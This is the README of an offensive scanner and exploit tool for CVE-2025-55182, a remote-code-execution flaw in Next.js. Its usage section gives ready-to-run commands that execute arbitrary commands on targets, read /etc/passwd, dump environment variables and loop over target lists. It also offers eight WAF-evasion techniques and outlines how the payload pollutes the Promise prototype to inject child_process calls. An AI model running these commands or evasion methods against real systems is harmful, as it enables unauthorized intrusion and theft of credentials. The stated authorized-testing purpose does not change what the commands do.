React2Shell-CVE-2025-55182-Advanced-Scanner

Automated scanner for CVE-2025-55182 RCE in Next.js with 8 WAF bypass techniques, custom command execution, and test-only detection mode for authorized penetration testing.

chmod +x scanner.py Docker Installation bash

Build Docker image

docker build -t cve-2025-55182-scanner .

Run with Docker

docker run --rm cve-2025-55182-scanner -h 📖 Usage Basic Usage bash

Show help

python scanner.py -h

Test a target

python scanner.py -d http://target.com --test-only

Execute command

python scanner.py -d http://target.com -c "whoami" Command-line Options Option Description Default -d, --domain Target URL http://localhost:3000 -c, --command Command to execute id -t, --technique Bypass technique (1-8) 1 -p, --proxy Proxy server None -k, --insecure Skip SSL verification False --test-only Only test for vulnerability False -h, --help Show help message N/A 📚 Examples Basic Exploitation bash

Test if target is vulnerable

python scanner.py -d http://vulnapp.com --test-only

Execute simple command

python scanner.py -d http://vulnapp.com -c "id"

List directory contents

python scanner.py -d https://target.com -c "ls -la" -k

Read system file

python scanner.py -d http://localhost:3000 -c "cat /etc/passwd" WAF Bypass Examples bash

Use Base64 encoding bypass

python scanner.py -d http://target.com -c "uname -a" -t 2

Use Unicode encoding

python scanner.py -d https://target.com -c "whoami" -t 3 -k

Use mixed techniques with proxy

python scanner.py -d http://target.com -c "pwd" -t 4 -p http://127.0.0.1:8080

Try all techniques automatically

for i in {1..8}; do echo "Trying technique $i" python scanner.py -d http://target.com -c "hostname" -t $i echo "" done Advanced Usage bash

Test multiple targets from file

for target in $(cat targets.txt); do echo "Testing $target" python scanner.py -d $target --test-only done

Save output to file

python scanner.py -d http://target.com -c "ifconfig" > output.txt

Use with Burp Suite proxy

python scanner.py -d https://target.com -c "env" -p http://127.0.0.1:8080 -k 🛡️ Bypass Techniques The scanner includes 8 different WAF bypass techniques:

Default Payload: Original exploitation pattern

Base64 Encoding: Encode commands in Base64

Unicode Encoding: Use Unicode character encoding

Case Manipulation: Random case variations

Double Encoding: Double URL encoding

Null Bytes: Null byte injection

Mixed Headers: Varied HTTP headers

Random Delays: Add random sleep intervals

Each technique can be selected with the -t flag.

🔧 Technical Details Vulnerability Background CVE-2025-55182 is a prototype pollution vulnerability in Next.js that leads to Remote Code Execution through React Server Components. The vulnerability allows attackers to execute arbitrary commands on the server.

Payload Structure The tool uses a specially crafted multipart/form-data request with prototype pollution to achieve RCE:

Prototype Pollution: Pollutes the Promise prototype chain

Command Injection: Injects Node.js child_process execution

Result Extraction: Extracts results through redirect headers

Detection Method The scanner sends specially crafted requests and looks for:

X-Action-Redirect headers containing command output

Specific response patterns indicating successful exploitation

Error messages that suggest vulnerability presence

⚠️ Disclaimer IMPORTANT: LEGAL AND ETHICAL USE ONLY

This tool is provided for:

Security research and education

Authorized penetration testing

Vulnerability assessment with proper permission

Defensive security purposes

DO NOT USE THIS TOOL FOR:

Unauthorized testing of systems

Illegal activities

Malicious purposes

Violating terms of service

By using this tool, you agree to:

Use it only on systems you own or have explicit permission to test

Comply with all applicable laws and regulations

Accept full responsibility for your actions

Not hold the author liable for any misuse

🤝 Contributing Contributions are welcome! Here's how you can help:

Reporting Issues Check if the issue already exists

Provide detailed reproduction steps

Include error messages and logs

Specify your environment details

Code Contributions Fork the repository

Create a feature branch

Write clear commit messages

Add tests if applicable

Submit a pull request

Feature Requests Suggest new features through GitHub issues with the "enhancement" label.

📄 License This project is licensed under the MIT License - see the LICENSE file for details.

MIT License

Copyright (c) 2025

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 🔗 References CVE-2025-55182 Official Entry

ProjectDiscovery Nuclei Template

Next.js Security Advisories

React Server Components Documentation

⭐ Star History If you find this tool useful, please consider giving it a star on GitHub!

Remember: With great power comes great responsibility. Use this tool ethically and legally.